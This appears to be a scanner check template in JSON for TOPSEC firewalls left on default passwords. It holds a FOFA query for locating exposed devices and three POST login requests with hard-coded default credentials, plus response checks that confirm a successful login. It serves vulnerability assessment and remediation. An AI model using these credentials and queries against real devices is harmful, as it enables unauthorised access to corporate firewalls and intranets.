{
  "Name": "Topsec Firewall default account",
  "Description": "TOPSEC firewall is a security product with completely independent intellectual property rights developed by TOPSEC based on years of network security research experience. Some have the problem of default password, which can enter the background or even the intranet, causing certain harm.",
  "Product": "Topsec Firewall",
  "Homepage": "https://www.topsec.com.cn/",
  "DisclosureDate": "2019-08-12",
  "Author": "itardc@163.com",
  "FofaQuery": "app=\"TOPSEC-Firewall\"",
  "GobyQuery": "",
  "Level": "2",
  "Impact": "There is a default password problem. You can enter the background to view the company's network deployment and network architecture, and you can modify related parameters to affect the company's network, or even directly enter the company's intranet, causing more serious losses.",
  "Recommendation": "Modify the default password. The password should preferably contain uppercase and lowercase letters, numbers, and special characters with more than 8 digits; if not necessary, prohibit public network access to the device; whitelist restricts the accessible IP.",
  "References": [
    "https://fofa.so"
  ],
  "HasExp": false,
  "ExpParams": null,
  "ExpTips": {
    "Type": "",
    "Content": ""
  },
  "ScanSteps": [
            "OR",
            {
                  "Request": {
                        "method": "POST",
                        "uri": "/cgi/maincgi.cgi?Url=Index",
                        "follow_redirect": true,
                        "header": {},
                        "data_type": "text",
                        "data": "username=superman&passwd=talent&loginSubmitIpt=%B5%C7%C2%BC"
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "==",
                                    "value": "200",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "maincgi.cgi?Url=Main",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "not contains",
                                    "value": "Set-cookie: session_id=",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": []
            },
            {
                  "Request": {
                        "method": "POST",
                        "uri": "/cgi/maincgi.cgi?Url=Index",
                        "follow_redirect": true,
                        "header": {},
                        "data_type": "text",
                        "data": "username=superman&passwd=talent!23&loginSubmitIpt=%B5%C7%C2%BC"
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "==",
                                    "value": "200",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "maincgi.cgi?Url=Main",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "not contains",
                                    "value": "Set-cookie: session_id=",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": []
            },
            {
                  "Request": {
                        "method": "POST",
                        "uri": "/cgi/maincgi.cgi?Url=Index",
                        "follow_redirect": true,
                        "header": {},
                        "data_type": "text",
                        "data": "username=test&passwd=123456&loginSubmitIpt=%B5%C7%C2%BC"
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "==",
                                    "value": "200",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "maincgi.cgi?Url=Main",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "not contains",
                                    "value": "Set-cookie: session_id=",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": []
            }
  ],
  "ExploitSteps": null,
  "Tags": [
    "defaultaccount"
  ],
  "CVEIDs": null,
  "CVSSScore": null,
  "AttackSurfaces": {
    "Application": null,
    "Support": null,
    "Service": null,
    "System": null,
    "Hardware": ["TOPSEC-Firewall"]
  },
  "Disable": false
}